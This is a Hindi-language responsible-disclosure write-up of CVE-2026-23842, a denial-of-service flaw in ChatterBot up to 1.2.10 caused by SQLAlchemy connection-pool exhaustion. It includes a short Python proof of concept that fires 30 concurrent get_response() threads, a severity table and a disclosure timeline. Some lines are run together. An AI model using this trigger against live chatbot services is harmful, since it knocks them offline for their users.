
CVE-2026-23842 — ChatterBot ≤ 1.2.10 में समवर्ती get_response() कॉल्स में SQLAlchemy कनेक्शन पूल समाप्ति के कारण उत्पन्न उच्च गंभीरता वाली Denial-of-Service भेद्यता।
यह रिपॉजिटरी ChatterBot में CVE-2026-23842, एक उच्च गंभीरता वाली सेवा-से-वंचित (Denial-of-Service) भेद्यता की मेरी खोज और जिम्मेदार प्रकटीकरण का दस्तावेजीकरण करती है।
ChatterBot संस्करण ≤ 1.2.10 अनुचित डेटाबेस सत्र और कनेक्शन पूल प्रबंधन के कारण होने वाली सेवा-से-वंचित स्थिति के प्रति संवेदनशील हैं।
इसके समवर्ती आह्वान:
get_response()
अंतर्निहित SQLAlchemy को समाप्त कर सकते हैं, जिसके परिणामस्वरूप:
QueuePoolsqlalchemy.exc.TimeoutError<= 1.2.10
>= 1.2.11
ChatterBot डेटाबेस इंटरैक्शन के लिए SQLAlchemy पर निर्भर करता है और डिफ़ॉल्ट कनेक्शन पूल कॉन्फ़िगरेशन का उपयोग करता है।
हालाँकि:
जब कई थ्रेड एक साथ get_response() को आह्वान करते हैं:
TimeoutError उठाता हैइसके परिणामस्वरूप सेवा-व्यापी उपलब्धता से वंचित हो जाती है।
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
निम्नलिखित वीडियो प्रदर्शित करता है:
यदि इस प्रकार तैनात किया गया है:
एक हमलावर प्रमाणीकरण के बिना दूरस्थ रूप से स्थिति को ट्रिगर कर सकता है।
| मीट्रिक | मान |
|---|---|
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| गोपनीयता | कोई नहीं |
| अखंडता | कोई नहीं |
| उपलब्धता | उच्च |
| तिथि | घटना |
|---|---|
| जनवरी 9 | भेद्यता की सूचना दी गई |
| जनवरी 13 | अनुरक्षक ने समस्या दोहराई |
| जनवरी 17 | सलाह प्रकाशित की गई |
| जनवरी 19 | CVE-2026-23842 सौंपा गया |
| जनवरी 21 | सार्वजनिक रिलीज़ |
द्वारा खोजा गया और जिम्मेदारी से प्रकट किया गया:
आदित्य भट्ट VAPT विशेषज्ञ CVE-2026-23842 रिपोर्टर
यह भेद्यता सार्वजनिक रिलीज़ से पहले अनुरक्षक को जिम्मेदारी से प्रकट की गई थी। पैच उपलब्ध होने से पहले कोई शोषण सार्वजनिक रूप से साझा नहीं किया गया था।